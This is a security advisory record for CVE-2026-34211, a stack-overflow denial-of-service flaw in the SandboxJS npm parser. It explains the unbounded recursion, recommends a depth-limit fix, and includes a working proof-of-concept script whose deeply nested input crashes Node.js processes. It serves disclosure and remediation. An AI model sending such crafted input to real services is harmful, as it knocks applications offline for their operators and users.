{"id":"CVE-2026-34211","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-34211","summary":"SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser","details":"## Summary\n\nThe `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process.\n\n## Details\n\nThe root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected `firstOpening`, it recursively calls itself at line 503:\n\n```typescript\n// src/parser.ts:486-505\n} else if (closings[char]) {\n  // ...\n  if (char === firstOpening) {\n    done = true;\n    break;\n  } else {\n    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503\n    cache.set(skip.start - 1, skip.end);\n    i += skip.length + 1;\n  }\n}\n```\n\nEach nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:\n\n```typescript\nexport function restOfExp(\n  constants: IConstants,\n  part: CodeString,\n  tests?: RegExp[],\n  quote?: string,\n  firstOpening?: string,\n  closingsTests?: RegExp[],\n  details: restDetails = {},\n): CodeString {\n```\n\nA second unbounded recursive path exists through `lispify` → `lispTypes.get(type)` → `group` handler → `lispifyExpr` (line 672) → `lispify`, which processes parenthesized groups recursively with no depth limit.\n\nAll public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting.\n\nA `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.\n\n## PoC\n\n```bash\n# Install the package\nnpm install @nyariv/sandboxjs\n\n# Create test file\ncat > poc.js << 'EOF'\nconst { default: Sandbox } = require('@nyariv/sandboxjs');\nconst s = new Sandbox();\n\n// Trigger via nested parentheses\nconsole.log(\"Testing nested parentheses...\");\ntry {\n  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));\n  console.log(\"No crash\");\n} catch(e) {\n  console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\n\n// Trigger via nested array brackets\nconsole.log(\"Testing nested array brackets...\");\ntry {\n  s.compile('a' + '[0]'.repeat(2000));\n  console.log(\"No crash\");\n} catch(e) {\n  console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\nEOF\n\nnode poc.js\n```\n\n**Expected output:**\n```\nTesting nested parentheses...\nCrash: RangeError: Maximum call stack size exceeded\nTesting nested array brackets...\nCrash: RangeError: Maximum call stack size exceeded\n```\n\nVerified on Node.js v22 with `@nyariv/sandboxjs@0.8.35`.\n\n## Impact\n\nAny application using `@nyariv/sandboxjs` to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.\n\nAn attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.\n\n## Recommended Fix\n\nAdd a `depth` parameter to `restOfExp` and throw a `ParseError` when a maximum depth is exceeded:\n\n```typescript\n// src/parser.ts - restOfExp function\nconst MAX_PARSE_DEPTH = 256;\n\nexport function restOfExp(\n  constants: IConstants,\n  part: CodeString,\n  tests?: RegExp[],\n  quote?: string,\n  firstOpening?: string,\n  closingsTests?: RegExp[],\n  details: restDetails = {},\n  depth: number = 0,          // ADD depth parameter\n): CodeString {\n  if (depth > MAX_PARSE_DEPTH) {\n    throw new ParseError('Expression nesting depth exceeded', part.toString());\n  }\n  // ... existing code ...\n\n  // At line 503, pass depth + 1:\n  const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);\n\n  // At line 480 (template literal), also pass depth + 1:\n  const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);\n}\n```\n\nSimilarly, add depth tracking to `lispify` and `lispifyExpr`:\n\n```typescript\nfunction lispify(\n  constants: IConstants,\n  part: CodeString,\n  expected?: readonly string[],\n  lispTree?: Lisp,\n  topLevel = false,\n  depth: number = 0,         // ADD depth parameter\n): Lisp {\n  if (depth > MAX_PARSE_DEPTH) {\n    throw new ParseError('Expression nesting depth exceeded', part.toString());\n  }\n  // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...\n}\n```","published":"2026-04-03T21:45:14Z","modified":"2026-04-06T23:34:44.531035Z","cvss":null,"epss":{"score":0.00395,"percentile":0.32721,"asOf":"2026-09-04"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.36"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-8pfc-jjgw-6g26"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34211"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-04-06T23:34:44.531035Z"}}